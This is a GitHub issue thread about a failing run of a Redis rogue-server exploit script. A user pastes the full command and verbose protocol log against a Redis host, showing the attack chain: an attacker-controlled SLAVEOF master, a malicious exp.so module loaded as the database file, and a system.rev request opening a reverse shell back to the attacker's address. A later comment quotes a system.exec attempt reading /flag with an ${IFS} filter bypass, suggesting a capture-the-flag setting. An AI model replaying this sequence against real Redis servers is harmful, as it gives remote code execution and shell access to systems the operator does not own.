Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Error :[->] b"-ERR unknown command 'MODULE'\r\n" #6

Open
A-AFTAHI opened this issue Jul 2, 2022 · 1 comment
Open

Error :[->] b"-ERR unknown command 'MODULE'\r\n" #6

A-AFTAHI opened this issue Jul 2, 2022 · 1 comment

Comments

@A-AFTAHI
Copy link

A-AFTAHI commented Jul 2, 2022

Update : apparently the issue is with loading the Command Execute Module because the redis command "MODULE" is not being recognized
###########################################""
I'm trying to use the script to exploit a windows x64 machine running Redis version 2.8.2402 but i keep getting an error that the "system" command is unknown so neither the interactive nor the reverse shell worked for me.
Do you have any idea why this is happening?
Below the command i executed and the output:

└─# python redis-rogue-server.py --rhost 10.10.192.11 --lhost 10.18.123.89 -v


| ___ \ | () | ___ \ / |
| |
/ /
| | ___ | |/ /_ __ _ _ _ ___ \ --. ___ _ ____ _____ _ __ | // _ \/ _ | / | | // _ \ / _| | | |/ _ \ --. / _ \ '\ \ / / _ \ '|
| |\ \ / (| | _ \ | |\ \ () | (| | || | __/ /_/ / / | \ V / / |
_| __|_,||/ _| __/ _, |_,_|_
| _/ _|| _/ ___||
/ |
|
/
@copyright n0b0dy @ r3kapig

[info] TARGET 10.10.192.11:6379
[info] SERVER 10.18.123.89:21000
[info] Setting master...
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$12\r\n10.18.123.89\r\n$5\r\n21000\r\n'
[->] b'+OK\r\n'
[info] Setting dbfilename...
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'PING\r\n'
[<-] b'+PONG\r\n'
[->] b'REPLCONF listening-port 6379\r\n'
[<-] b'+OK\r\n'
[->] b'REPLCONF capa eof\r\n'
[<-] b'+OK\r\n'
[->] b'PSYNC ? -1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$44320\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\xa6\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[info] Loading module...
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b"-ERR unknown command 'MODULE'\r\n"
[info] Temerory cleaning up...
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n'
[->] b'+OK\r\n'
[<-] b'*2\r\n$11\r\nsystem.exec\r\n$11\r\nrm ./exp.so\r\n'
[->] b"-ERR unknown command 'system.exec'\r\n"
What do u want, [i]nteractive shell or [r]everse shell: r
[info] Open reverse shell...
Reverse server address: 10.18.123.89
Reverse server port: 8888
[<-] b'*3\r\n$10\r\nsystem.rev\r\n$12\r\n10.18.123.89\r\n$4\r\n8888\r\n'
[<-] b'*3\r\n$10\r\nsystem.rev\r\n$12\r\n10.18.123.89\r\n$4\r\n8888\r\n'
[info] Reverse shell payload sent.
[info] Check at 10.18.123.89:8888
[info] Unload module...
[<-] b'*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n'
[->] b"-ERR unknown command 'system.rev'\r\n"

@A-AFTAHI A-AFTAHI changed the title Error : b"-ERR unknown command 'system.exec'\r\n" Error :[->] b"-ERR unknown command 'MODULE'\r\n" Jul 2, 2022
@Syzygy-K
Copy link

Syzygy-K commented Dec 27, 2024

I had the same problem as you.
-ERR Error loading the extension. Please check the server logs.
-ERR unknown command system.exec, with args beginning with: cat${IFS}/flag,
Have you solved your problem?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants